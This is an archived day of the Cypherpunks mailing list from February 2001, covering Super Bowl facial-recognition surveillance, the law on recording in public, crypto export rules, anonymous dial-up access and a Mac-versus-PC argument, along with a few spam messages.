From Lticcey at mbd.net  Thu Feb  1 00:22:54 2001
From: Lticcey at mbd.net (Lticcey at mbd.net)
Date: Thu, 1 Feb 2001 00:22:54
Subject: Hi
Message-ID: <351.461115.742882@mbd.net>



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From freematt at coil.com  Thu Feb  1 01:31:49 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Thu, 1 Feb 2001 04:31:49 -0500
Subject: On January 28th, Criminals No Longer Another Face in the Tampa
 Stadium Crowd
Message-ID: <v04220800b69edbe28600@[198.4.94.182]>


http://www.viisage.com/january_29_2001.htm

Press Releases | News About Viisage

GRAPHCO TECHNOLOGIES, INC. Provides Surveillance for Raymond James 
Stadium to Identify Known Suspects, Deter Crime

On January 28th, Criminals No Longer Another Face in the Tampa Stadium Crowd

Tampa, Florida, January 29, 2001 -Graphco Technologies, Inc. (G-TEC), 
a leading developer of technology and solutions for biometric 
authentication, secure access, and expert information-sharing 
systems, announced today that they provided a surveillance and facial 
recognition system at both the Raymond James Stadium in Tampa and at 
Ybor City, Florida. The system was in place from January 21 - January 
28, 2001 to monitor potential criminal activities during the sporting 
events and related activities at the two locations.

In cooperation with the Tampa Sports Authority, Graphco Technologies 
partnered with Raytheon Company's (NYSE: RTNA, RTNB) Linthicum, 
Maryland office, Viisage Technology, Inc. (NASDAQ: VISG), and VelTek 
International, Inc., to provide its FaceTrac facial recognition 
system to the Tampa Police Department and other federal, state and 
local law enforcement agencies.

"Not everyone comes to sporting events with good intentions," says 
David Watkins, G-TEC's Managing Director, "The multiple distractions 
at the nation's premier athletic events provide criminals with 
opportunities to engage in a variety of illegal activities. G-TEC's 
facial recognition system provided the Raymond James Stadium with a 
superior surveillance system that not only captures images of 
individuals but also compares their facial features against a 
database of known felons."

The FaceTrac core facial recognition technology provides the ability 
to locate faces, to build 'face print' templates and to recognize 
matches to images stored in a database. When integrated with G-TEC's 
law enforcement database, FaceTrac allows rapid search, comparison 
and identification of suspect facial photos within the database. 
FaceTrac may be used for surveillance with multiple locations 
networked to a high capacity site, for analysis and system-search 
results. G-TEC installed FaceTrac at the Raymond James Stadium as a 
single site system, integrated with a custom designed database and 
search result notifications for tracking faces in a crowd and 
monitoring access to secure areas.

Tom Colatosti, Viisage President and CEO said, "Places where large 
crowds are present, such as sporting events, are tempting targets for 
all types mischief, criminal behavior and larger threats. Using 
patented Viisage technology, G-TEC has introduced a new generation of 
tools for law enforcement officials to more effectively and 
non-intrusively provide for public safety. As an integral partner in 
the project, Viisage Technology provided G-TEC with the industry's 
leading and most robust face-recognition technology."

Viisage Technology's FaceFINDER software drives the FaceTrac 
surveillance and identification process. Viisage's industry-leading 
face-recognition technology has the world's largest image database 
deployment in surveillance and investigative applications. Viisage 
also provided the project with image acquisition and integration 
technology and services.

During the week of January 21st, G-TEC deployed the FaceTrac system 
throughout the Raymond James Stadium to detect and identify 
individuals who are wanted or suspect, and may present a danger to 
the public. Using standard cameras to recognize human faces during 
entry to the sporting event, FaceTrac continuously compared faces in 
the incoming crowd to an extensive, customized database of known 
felons, terrorists, and con artists provided by multiple local, state 
and federal agencies. A law enforcement task force of local, state 
and federal agency personnel monitored the system. Once individuals 
were matched with photo files in the database, officers of the joint 
task force, circulating throughout the complex, could be dispatched 
immediately to make possible arrests, quickly and discreetly.

In addition to installing cameras supplied by VelTek International at 
the Raymond James Stadium, G-TEC adapted its FaceTrac capability to 
cameras in Ybor City, Florida to oversee the celebrations before and 
after the athletic events. Raytheon Company, a global developer and 
supplier of high-tech products and services, and a G-TEC partner, 
provided sophisticated cameras and expertise to provide police with 
exceptional night vision capabilities for poorly lit or darkened 
areas in Ybor City.

G-TEC, headquartered in Newtown, PA, develops, manufactures, and 
markets secure database and secure communications systems worldwide. 
G-TEC combines information sharing, biometric authentication, secure 
access, and secure data facility technologies to provide technical 
infrastructure and applications in support of public and private law 
enforcement, corporate security, manufacturing, and secure 
web-enabled virtual communities. G-TEC's Intrapol Analysis Center 
offers secure-access data storage, sharing, and secure virtual 
community systems to corporate and law enforcement entities at the 
local, regional, state, national, and international levels. Graphco 
Technologies is located on the World Wide Web at www.graphcotech.com.

Viisage Technology, Inc. (NASDAQ: VISG), Littleton, Massachusetts, is 
a world leader in biometric face-recognition technology and in 
digital identification solutions. Viisage's face-recognition 
technology is widely recognized as the most convenient, non-intrusive 
and cost-effective biometric available. Viisage's patented 
face-recognition technology, originally developed at MIT, and its 
systems integration and software design capabilities, improve 
personal convenience, privacy and security while deterring identity 
theft and fraud.

Raytheon Company (NYSE: RTNA, RTNB), based in Lexington, Mass., is a 
global technology leader that provides products and services in the 
areas of commercial and defense electronics, business and special 
mission aircraft. The company is now successfully expanding its 
defense technologies into non-defense sectors such as air traffic 
control, data, image and information management, transportation and 
communications. Raytheon's Linthicum, Maryland office has expertise 
in network security and large system development and deployment for 
both national intelligence and commercial customers, and is the 
primary Raytheon branch that supported G-TEC's surveillance efforts 
at the Raymond James Stadium. Additional information is available at 
www.raytheon.com

Veltek International, Inc. is a leading manufacturer of Closed 
Circuit Television and security related equipment. Veltek currently 
offers over 250 different CCTV products through worldwide 
distribution including standard and specialty video cameras, 
housings, video signal, remote transmission, digital video streaming 
and digital storage equipment.

FaceTrac is a trademark of Graphco Technologies, Inc. FaceFINDER is a 
trade mark of Viisage, Inc,


Corporate Information | Face Recognition | Systems Integration | 
Contact us | Home 1999-2000 Viisage Inc. all rights reserved.


**************************************************************************
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Send a blank message to: freematt at coil.com with the words subscribe FA
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**************************************************************************




From freebie at grabmail.com  Thu Feb  1 06:58:25 2001
From: freebie at grabmail.com (freebie at grabmail.com)
Date: Thu, 1 Feb 2001 06:58:25
Subject: Dilfer thanks who?
Message-ID: <766.834133.285645@unknown>

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From ravage at einstein.ssz.com  Thu Feb  1 05:30:50 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 01 Feb 2001 07:30:50 -0600
Subject: The Register - There are still crypto reg's...
Message-ID: <3A79650A.ED98D57B@ssz.com>


http://www.theregister.co.uk/content/6/16527.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Thu Feb  1 05:33:35 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 01 Feb 2001 07:33:35 -0600
Subject: Software robot traces gossip across world
Message-ID: <3A7965AF.BECD59E7@ssz.com>


http://www.telegraph.co.uk:80/et?ac=000118613908976&rtmo=fsMaVDDs&atmo=rrrrrrrq&pg=/et/01/2/1/wrum01.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ckaihatsu at yahoo.com  Thu Feb  1 07:39:37 2001
From: ckaihatsu at yahoo.com (Chris Kaihatsu)
Date: Thu, 1 Feb 2001 07:39:37 -0800 (PST)
Subject: concerns
Message-ID: <mailman.357.1576007494.31620.cypherpunks-legacy@lists.cpunks.org>


To:

MSWiA  (Ministry of Internal Affairs and
Administration)
     http://www.mswia.gov.pl
     e-mail: <wp at mswia.gov.pl>
     street: ul.St Batorego5
     02-591 W-wa (Warsaw), Poland, Europe

Min Lacznosci (Ministry of Communications)
     http://www.ml.gov.pl
     e-mail: <webmaster at ml.gov.pl> (webmaster)
     e-mail2: <rzecznik at ml.gov.pl> (spokesman)
     street: ul.Stawki2
     00-990 W-wa (Warsaw), Poland, Europe


Mr. Lacznosci:

I am an experienced Internet user, and I enjoy the
ease of communication that international email offers
me. As with any of my communications, I like to
believe that my messages go to the people I send them
to, and not to people I don't.

In other words, I believe that no agency or individual
should be reading communications that are not
addressed to them. Specifically, I am absolutely
opposed to any use of wiretapping or surveillance,
like the FBI's Carnivore or the EU's Echelon.

Governments, specifically, must watch where they
tread. Since government officials are paid with
taxpayer money, they should be serving the public
interest, which should _not_ include witch-hunts. If
any government officials of yours has personal
emotional problems like insecurity or paranoia, I hope
they will be taken care of.

We activists have found that when government officials
do not deal with their emotional problems well the
results can lead to paranoia. When agents become
paranoid they begin looking for regular people to
foist their own paranoia onto. Please make sure that
no one employed by your government has any sort of
problems which might cause them to restrict the
communications of anyone else.

I am certain that if you can address our concerns
adequately there will be no need for any further
measures on our part.

Also, please do not forget that all surveillance
projects initiated by governments are carefully
monitored by NGOs like the Electronic Frontier
Foundation (http://www.eff.org), the Global Internet
Liberty Campaign (http://www.gilc.org) and libertarian
organizations, such as Libertarian International
(http://www.libertarian.to), Libertarian International
Organization (http://www.libertarian.uni.cc), or The
International Society for Individual Liberties
(http://www.isil.org).

Finally, we understand your concerns are in capturing
"criminals". I would personally suggest that you take
extreme care in deciding what methods are appropriate
in your apprehension of "criminals". I'm certain you
would not want to do anything that your population
would find offensive.

Thank you.

Sincerely,
Chris Kaihatsu
Chicago, IL  USA
312-789-8073
ckaihatsu at yahoo.com

**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722     Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From mmotyka at lsil.com  Thu Feb  1 09:05:36 2001
From: mmotyka at lsil.com (mmotyka at lsil.com)
Date: Thu, 01 Feb 2001 09:05:36 -0800
Subject: The Register - There are still crypto reg's... 
Message-ID: <3A799760.2097BC8F@lsil.com>


If Apple really wanted to enable crypto plug-ins they would isolate and
open source that part of the OS where plug-in capability should be added
then publish a spec for the modified API. It would get done.

Mike




From declan at well.com  Thu Feb  1 07:37:43 2001
From: declan at well.com (Declan McCullagh)
Date: Thu, 01 Feb 2001 10:37:43 -0500
Subject: Foes of privacy bills in Congress try new approach: Federalism
Message-ID: <5.0.2.1.0.20010201103727.01ff5a50@mail.well.com>


Bruce Kobayashi and Larry Ribstein photo:
http://www.mccullagh.org/image/950-19/larry-ribstein-bruce-kobayashi.html

Their paper, A State Recipe for Cookies: State Regulation of Consumer 
Marketing Information: 
http://www.federalismproject.org/conlaw/ecommerce/cookies.html

*********

http://www.wired.com/news/politics/0,1283,41511,00.html

    Should States Regulate Privacy?
    by Declan McCullagh (declan at wired.com)

    2:00 a.m. Feb. 1, 2001 PST
    ARLINGTON, Virginia -- Larry Ribstein and Bruce Kobayashi are nothing
    if not ambitious: They hope to reshape the way Washington thinks about
    privacy.

    Even though many observers of Capitol Hill assume the new Congress
    will approve regulations aimed at Internet firms, the two George Mason
    University law professors are betting that legislators can be
    persuaded to try a more laissez-faire approach.

    Instead of the Senate and the House enacting laws, they argue in a
    paper published this week, state legislatures should be making the
    decisions. Says Ribstein: "Federal law hasn't turned out to be a
    salvation in other areas."

    Their efforts are part of a nascent -- although fast-growing -- effort
    by conservatives and libertarians to target online privacy laws using
    many of the same tools, strategies, and alliances they've used to
    battle federal environmental, education, and gun regulations in the
    past.

    On Tuesday, the American Enterprise Institute's Federalism Project
    convened an invitation-only roundtable where Kobayashi and Ribstein
    presented their paper to an influential audience that included former
    OECD ambassador David Aaron, Yale law professor Roberta Romano,
    Michael Quaranta of Experian, and Bill Niskanen, chairman of the Cato
    Institute.

    AEI's Federalism Project argues that the U.S. national government is
    an institution that has usurped powers not delegated to it in the
    Constitution -- those powers should rightfully be reserved for states.
    One 1995 case is a favorite: U.S. v. Lopez, in which the Supreme Court
    overturned a federal gun law by ruling it "exceeds Congress' Commerce
    Clause authority."

    [...]

    Their 43-page paper says: "Federal law would perversely lock in a
    single regulatory framework while Internet technology is still rapidly
    evolving. State law, by contrast, emerges from 51 laboratories (50
    states, plus the District of Columbia) and therefore presents a more
    decentralized model that fits the evolving nature of the Internet."

    They predict that some states will impose more regulations than others
    -- by, for example, trying different approaches to mandating
    disclosure of privacy practices.

    [...]




From freematt at coil.com  Thu Feb  1 08:37:41 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Thu, 1 Feb 2001 11:37:41 -0500
Subject: Poland: Letter to MSWiA Over Net Freedom
Message-ID: <v04220805b69f411f578a@[198.4.94.179]>



From gbroiles at netbox.com  Thu Feb  1 11:56:14 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 1 Feb 2001 11:56:14 -0800
Subject: Realtime facial recognition cameras used at Super Bowl
Message-ID: <20010201115613.E12518@ideath.parrhesia.com>


According to the LA Times at 
<http://www.latimes.com/news/nation/updates2/lat_cameras010201.htm>,
police used real-time face recognition systems to scan the faces
of about 100,000 people who attended the Super Bowl in person. The
cameras were hidden. 19 people with "criminal histories" were 
identified, but no arrests were made.

The article quotes usual suspects like Bruce Schneier, Cliff Stoll,
and Erwin Chemerinksy saying that the system is troubling, as well
as an Oakland Raiders official who views it positively.

Per the article, "[o]ther applications are expected to include ATM
machines and public events such as the 2002 Winter Olympics in Salt
Lake City."

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From freematt at coil.com  Thu Feb  1 09:23:40 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Thu, 1 Feb 2001 12:23:40 -0500
Subject: Libertarian Futurist Society Announces First National Conference
Message-ID: <v04220815b69f4bf6e417@[198.4.94.179]>



From mwohler at bellatlantic.net  Thu Feb  1 10:33:56 2001
From: mwohler at bellatlantic.net (Marc Wohler)
Date: Thu, 01 Feb 2001 13:33:56 -0500
Subject: slingshot anonymous access?
In-Reply-To: <PHEOLKHKKADCALFJMBNIOELLCDAA.pzakas@toucancapital.com>
References: <3A7839D3.A3B3A74@ssz.com>
Message-ID: <4.1.20010201131302.009cd950@mail.marcwohler.com>


Cpunks,
I am using slingshot as a secondary ISP because my Verizon DSL sucks.
It's has served me well. A good product with good tech support.
You need to buy 1 CD for each machine you use.
If you have access to a local # it comes to about 2 cents per min.
Using to 800 # is 3X the cost.
Bandwidth is only about 33K but good for a backup ISP with complete
anonymous Internet access.

At 02:54 PM 1/31/01 , you wrote:
>
>
>Has anyone tried a slingshot subscription yet?  It's a US-based ISP
>providing anonymous internet access (anonymous because it's pre-paid...no
>credit card required, you buy a cd from a store, use an enclosed code for
>access, and get 600 local dial-up minutes [or 200 ld minutes]).  It's being
>sold at Staples and Compusa.  Their URL is www.slingshot.com.  I really like
>this idea of 'anonymous' dial-up access...very similar to pre-paid isp
>access ideas in europe.  Are these business models going to survive long
>enough to invest my time/hassle to try this out?  I know AOL, Earthlink,
>MSN, etc. rely heavily on knowing a little about their customers to drive
>higher CPM revenues (difficult to make money on sub revenues only).
>
>phillip




From gbroiles at netbox.com  Thu Feb  1 14:34:17 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 1 Feb 2001 14:34:17 -0800
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010201152651.A5187@weathership.homeport.org>; from adam@homeport.org on Thu, Feb 01, 2001 at 03:26:51PM -0500
References: <20010201115613.E12518@ideath.parrhesia.com> <20010201152651.A5187@weathership.homeport.org>
Message-ID: <20010201143416.F12518@ideath.parrhesia.com>


On Thu, Feb 01, 2001 at 03:26:51PM -0500, Adam Shostack wrote:
> On Thu, Feb 01, 2001 at 11:56:14AM -0800, Greg Broiles wrote:
> | 
> | According to the LA Times at 
> | <http://www.latimes.com/news/nation/updates2/lat_cameras010201.htm>,
> | police used real-time face recognition systems to scan the faces
> | of about 100,000 people who attended the Super Bowl in person. The
> | cameras were hidden. 19 people with "criminal histories" were 
> | identified, but no arrests were made.
> | 
> | The article quotes usual suspects like Bruce Schneier, Cliff Stoll,
> | and Erwin Chemerinksy saying that the system is troubling, as well
> | as an Oakland Raiders official who views it positively.
> 
> One of the more troubling (to me) things is Chemerinsky's comment that 
> people have no expectation of privacy in public.  The idea that you
> may follow someone around with a video camera, take mm scale radar
> pictures through their clothes, etc, etc without their permission
> because they are in a public space is simply wrong.

I think it's important to flesh out what you mean by "wrong" - if you
mean that he's misread US law on this topic, I agree with him, not you -
the privacy and publicity (and 4th Amendment) cases have for the most
part agreed that it's perfectly permissible to record (mechanically
or electronically) whatever's perceptible from or in a public place.

This summary of the legal and practical history of video surveillance 
may be of interest -

<http://www.library.ca.gov/CRB/97/05/>

There are a few limited exceptions - as of Jan 1 2000, California
criminalized surreptitious nonconsensual videotaping under or
through another person's clothing for sexual purposes, where the
victim had a reasonable expectation of privacy (CA Penal Code 
647(k)(2)), but that's pretty limited. There's a table of state
voyeurism statutes at
<http://www.law.about.com/newsissues/law/library/docs/n98voyeurlaws.htm>
but it's a few years old - of the 12 states listed there, I'd say
that only two (AK and TN) appear to even potentially criminalize
surveillance or recording in public places. 

I get the impression that other states may eventually criminalize
sexually oriented surveillance - but I anticipate the statutes will
be aimed at sexual or voyeuristic content, and won't touch garden
variety baby-brother surveillance for behavior control. 

> The free-speech-chilling nature of this technology should be clear.

Yes, but that's a two-edged sword - the free press implications of
limiting recording, depicting, and describing public content are
also very serious - I think the people most likely to successfully
use a law against public recordings would be police officers going
after people like the ones who videotaped the beating of Rodney King.
There's a persistent rumor that in CA, cops act very aggressively
to prosecute people who surreptitiously tape encounters like traffic
stops - I've got no idea whether or not that's true.

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From DMBSR at aol.com  Thu Feb  1 11:59:39 2001
From: DMBSR at aol.com (DMBSR at aol.com)
Date: Thu, 1 Feb 2001 14:59:39 EST
Subject: Palladin Press
Message-ID: <a0.f86462e.27ab1a2b@aol.com>


I need to talk with these folks -- where are they?




From adam at homeport.org  Thu Feb  1 12:26:51 2001
From: adam at homeport.org (Adam Shostack)
Date: Thu, 1 Feb 2001 15:26:51 -0500
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010201115613.E12518@ideath.parrhesia.com>
References: <20010201115613.E12518@ideath.parrhesia.com>
Message-ID: <20010201152651.A5187@weathership.homeport.org>


On Thu, Feb 01, 2001 at 11:56:14AM -0800, Greg Broiles wrote:
| 
| According to the LA Times at 
| <http://www.latimes.com/news/nation/updates2/lat_cameras010201.htm>,
| police used real-time face recognition systems to scan the faces
| of about 100,000 people who attended the Super Bowl in person. The
| cameras were hidden. 19 people with "criminal histories" were 
| identified, but no arrests were made.
| 
| The article quotes usual suspects like Bruce Schneier, Cliff Stoll,
| and Erwin Chemerinksy saying that the system is troubling, as well
| as an Oakland Raiders official who views it positively.

One of the more troubling (to me) things is Chemerinsky's comment that 
people have no expectation of privacy in public.  The idea that you
may follow someone around with a video camera, take mm scale radar
pictures through their clothes, etc, etc without their permission
because they are in a public space is simply wrong.

The free-speech-chilling nature of this technology should be clear.



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From bear at sonic.net  Thu Feb  1 16:08:16 2001
From: bear at sonic.net (Ray Dillinger)
Date: Thu, 1 Feb 2001 16:08:16 -0800 (PST)
Subject: The Register - There are still crypto reg's...
In-Reply-To: <PHEOLKHKKADCALFJMBNIKEMCCDAA.pzakas@toucancapital.com>
Message-ID: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>




On Thu, 1 Feb 2001, Phillip H. Zakas wrote:


>Apple is a pretty computer and everything, but there's so much to be desired
>from their os programmers (not saying microsoft is the best, just saying the
>mac os really stinks.)

There's kind of a feedback loop here; Windows achieved critical 
mass and Apple didn't.  Hence, MS can afford to hire lots more 
engineers to work on their CRAPPY os than Apple can hire to work 
on their mediocre os.  So, after a while, Windows got better than 
the MacOS.  

I remember how hard Win3.11 sucked compared to MacOS 5.  But once 
true multitasking was under WinNT3.51, it was about Neck-and-neck 
for quality with MacOS 7.  And like Mr. Zakas, I'm pretty convinced 
that even though MacOS 10 has true multitasking, it has definitely 
fallen behind WinNT 4. 

ObCryptoStuff; this same kind of "critical mass" phenomenon 
affects lots and lots of the stuff we're looking at.  Freenet, 
Mojo Nation, Napster, Gnutella, Digital Cash, etc, even PGP and 
GPG - All have a value that depends directly on how many other 
people are using them. If they don't grow beyond a certain 
threshold size, they remain less useful than the disk space they 
occupy.  But where is the threshold and when is it passed? 

And how do you get there?  

If P2P agents were distributed with a couple of the major linux 
distributions (say Red Hat and SuSE) they'd probably achieve 
critical mass fairly fast (especially if they were set up and 
configured during install, the way Apache increasingly is).  
And if they were opensource, they'd probably get into ALL linux 
distributions within a few years. 

But so far most of the people doing P2P are trying to make a buck 
off of it, so with the exception of gnutella, there aren't open-
source agents.  

				Bear















From pzakas at toucancapital.com  Thu Feb  1 13:56:55 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Thu, 1 Feb 2001 16:56:55 -0500
Subject: The Register - There are still crypto reg's...
In-Reply-To: <3A79650A.ED98D57B@ssz.com>
Message-ID: <PHEOLKHKKADCALFJMBNIKEMCCDAA.pzakas@toucancapital.com>



This is one area where I think Microsoft worked around the export control
problem in a nice way.  By keeping the more secure keys available as a
separate download (via rsaenh.dll i believe), and isolating the key strength
.dll from the csp api .dll, they've managed to keep a simple and consistent
csp api.  If a customer needs a stronger key he/she can simply download the
stronger rsaenh.dll to get it -- without mucking around with the entire
crypto service.  Apple could have easily implemented a similar concept.

Apple is a pretty computer and everything, but there's so much to be desired
from their os programmers (not saying microsoft is the best, just saying the
mac os really stinks.)

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Jim Choate
Sent: Thursday, February 01, 2001 8:31 AM
To: cypherpunks at einstein.ssz.com; austin-cpunks at einstein.ssz.com;
hell at einstein.ssz.com
Subject: The Register - There are still crypto reg's...



http://www.theregister.co.uk/content/6/16527.html
--
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From info at giganetstore.com  Thu Feb  1 10:30:28 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Thu, 1 Feb 2001 18:30:28 -0000
Subject: Swatch@Giganetstore.com
Message-ID: <0dcf12830180121WWWSHOPENS@wwwshopens.giganetstore.com>

Caro(a) Cliente, 
A Swatch voltou com novos modelos à Giganetstore.com
<http://www.giganetstore.com/> 
Já está disponível o relógio do Dia dos Namorados
<http://www.giganetstore.com/dynamic/promotions/mails/swatch_amour..htm>
e a colecção Square.
<http://www.giganetstore.com/dynamic/promotions/mails/swatch_square.htm>

Um conselho, visite as páginas dedicadas a estes novos modelos.
Amour Total
Para o Dia dos Namorados, a Swatch trouxe-nos "Amour Total "
<http://www.giganetstore.com/products/product.asp?channelId=0&CategoryId
=0&subCategory=0&ProductId=9796> , que expressa num relógio as numerosas
formas de manifestações que o amor pode ter. É tempo de amor e o dia de
S. Valentim está aí, com toda a sua parte de boas intenções, flores,
joias, todo o tipo de prendas e poemas. 
Se pretender visualizar esta informação numa página do seu browser em
formato HTML, basta clicar aqui
<http://www.giganetstore.com/dynamic/promotions/mails/swatch_amour..htm>
. 
 
Não sejas tão Quadrado!
Porque todos os povos são diferentes, a Swatch desenhou a colecção
Square em dois tamanhos. Os de 5 cm para aqueles que gostam de coisas
ligeiramente maiores e os de 3 cm para aqueles que gostam de coisas mais
pequenas. 
Porque a Swatch acredita que o tamanho é importante! 
Don't Be Too Square
<http://www.giganetstore.com/products/product.asp?channelId=0&CategoryId
=0&subCategory=0&ProductId=9789> 
Typical Square
<http://www.giganetstore.com/products/product.asp?channelId=0&CategoryId
=0&subCategory=0&ProductId=9795> 
Satisfaction
<http://www.giganetstore.com/products/product.asp?channelId=0&CategoryId
=0&subCategory=0&ProductId=9790>  
Subliminal
<http://www.giganetstore.com/products/product.asp?channelId=0&CategoryId
=0&subCategory=0&ProductId=9793> 
Se pretender visualizar esta informação numa página do seu browser em
formato HTML, basta clicar aqui
<http://www.giganetstore.com/dynamic/promotions/mails/swatch_square.htm>
. 
Para retirar o seu email desta mailing list deverá entrar no nosso site
giganetstore.com <http://www.giganetstore.com/> , ir à edição do seu
registo e retirar a opção de receber informação acerca das nossas
promoções e novos serviços.

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From tcmay at got.net  Thu Feb  1 18:30:32 2001
From: tcmay at got.net (Tim May)
Date: Thu, 1 Feb 2001 18:30:32 -0800
Subject: Mac vs. PC religious war claims
In-Reply-To: <GBELJJCAPDDMIIAANOCJCECCCIAA.pzakas@toucancapital.com>
References: <GBELJJCAPDDMIIAANOCJCECCCIAA.pzakas@toucancapital.com>
Message-ID: <a05010403b69fc702dd03@[207.111.241.188]>


At 8:17 PM -0500 2/1/01, Phillip H. Zakas wrote:
>I completely concur there's a feedback loop problem, but its Apple's fault I
>think.  I remember when the first MACs came out you had to pay $5K just for
>the privilege of programming for it.  What numbskulls!  The intel platforms
>were the first to encourage development because bios ref. guides were cheap

I don't buy this. I was at Intel when the first Macs came out, I had 
many friends who programmed Macs, and I myself used some of the early 
(c. 1986) tools like Lightspeed C. The 3-volume (then 4-volume, then 
5, etc.) set of books on programming the Mac was widely available, 
and was inexpensive.

If by "first came out" you only mean "early 1984," you are possibly 
right. But this is highly misleading, as by late 1985 and into '86 
the tools were widely available.

This all compares favorably with what was happening the DOS world 
(where, by the way, the only tools in the first year or two of the PC 
were the built-in BASIC, akin to what Apple was offering in the Apple 
II in 1979, the p-system from UCSD (good luck!), and the CPM-86 
system. Of the three, PC-DOS, the p-system, and CPM-86, only DOS 
succeeded. Ergo, all "programming tools" were the scraps and pieces 
of crud related to DOS. Which, for the first few years of DOS, were 
execrable.

What was happening in the DOS world at this time, at the time of the 
introduction of the Mac? Well, I also used to subscribe to the 
various PC mags of the day, including "PC Technical Journal." This 
was the "premier" PC programming journal of its day. (Other tidbit 
sources being "Dtack Grounded" and other semi-underground pubs.)

Was the Mac harder to program? Probably. Was a Mac app more usable 
(more capable, more consistent) than the equivalent PC app of the 
day? One guess, and the only correct answer is "That's why MS came 
out with Windows."

(BTW, I had Windows 1.0 before I bought my first Mac, a Mac Plus. Gag 
me with a spoon. I also had Windows 2.0, only _slightly_ better. It 
was not until Windows 3, particularly 3.1, arrived that Windows 
became usable. Do the math on what had passed for PC programming 
prior to this.)

>and most could afford the $100 of a pascal, c or asm compiler.  Plus the
>intel-platform hw (ibm, compaq, etc.) was really designed to handle
>multitasking and simultaneous networking/communications.  Apple only
>recently started to get the hint and improve the hardware.

This is nonsense. Where do I begin?

Multitasking is an OS feature, present in Windows only in recent 
years. A PC with an Intel processor running DOS is no more capable of 
"multitasking" than a Mac running an early Mac OS. The Intel line is 
not magically more multitasking-capable than the Motorola line. Look 
at the early Sun machines based on the 68000 and 68010 for but one 
illustration.

As for networking and communications, you are out to lunch. Ethernet 
has been available, at a price, for many years on the Mac. In the 
last _several_ years, it has been the default on nearly all Macs.

And for routine usage, all Macs since the earliest days have had 
usable local area networking. LocalTalk, MacTalk, whatever the jargon 
of the day.

My Windows friends are thrilled when they get Ethernet cards working. 
I've had it built-in for many years. All of my Macs have been 
networked, first with LocalTalk, later with Ethernet, for many years. 
Wireless AirPort is now built in to most new Macs.

My G4 Mac, my iBook, and my G3 Wall Street Powerbook all have built 
in Ethernet (mostly 10/100). They also have built in IEEE 
1394/FireWire, USB, all the usual stuff.

I don't like Mac vs. PC religious wars, but I cannot allow 
misrepresentations like the above to stand unchallenged. You, 
Phillip, should be ashamed of yourself.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From mclow at owl.csusm.edu  Thu Feb  1 18:47:55 2001
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Thu, 1 Feb 2001 18:47:55 -0800
Subject: The Register - There are still crypto reg's...
In-Reply-To: <GBELJJCAPDDMIIAANOCJCECCCIAA.pzakas@toucancapital.com>
References: <GBELJJCAPDDMIIAANOCJCECCCIAA.pzakas@toucancapital.com>
Message-ID: <p05001905b69fcde6b80d@[192.168.16.228]>


At 8:17 PM -0500 2/1/01, Phillip H. Zakas wrote:
>I completely concur there's a feedback loop problem, but its Apple's fault I
>think.  I remember when the first MACs came out you had to pay $5K just for
>the privilege of programming for it.  What numbskulls! 

This was (partially) true, but only for a few months
(most of which were before the Mac was released).

You didn't have to pay for the privilege of programming the Mac, but
you did have to pay for the Lisa that the development tools ran on.

I bought my first C compiler for the Mac in June of 1984,
and it didn't cost $5K.

If Apple had made efforts to keep their development tools from running
on the Mac, and/or had prevented others from making tools for the Mac,
that might be different.

As it is, I find it hard to blame the shortcomings of MacOS today on
a short-term policy from late 1983 and early 1984.


>The intel platforms
>were the first to encourage development because bios ref. guides were cheap
>and most could afford the $100 of a pascal, c or asm compiler.  Plus the
>intel-platform hw (ibm, compaq, etc.) was really designed to handle
>multitasking and simultaneous networking/communications.  Apple only
>recently started to get the hint and improve the hardware.

The BIOS ref guides were cheap (only about $40), and the compilers
were $2-300, as I remember. MASM was less. Not really cheap.

As for being designed for multitasking and simultaneous networking/communications,
I think that you are confusing your decades. The intel-based products from 1982-86
didn't, in general, do _any_ multitasking (remember TSRs?) and as for communications,
well, they did ok talking to most anything at the other end of an RS-232 line.

-- 
-- Marshall

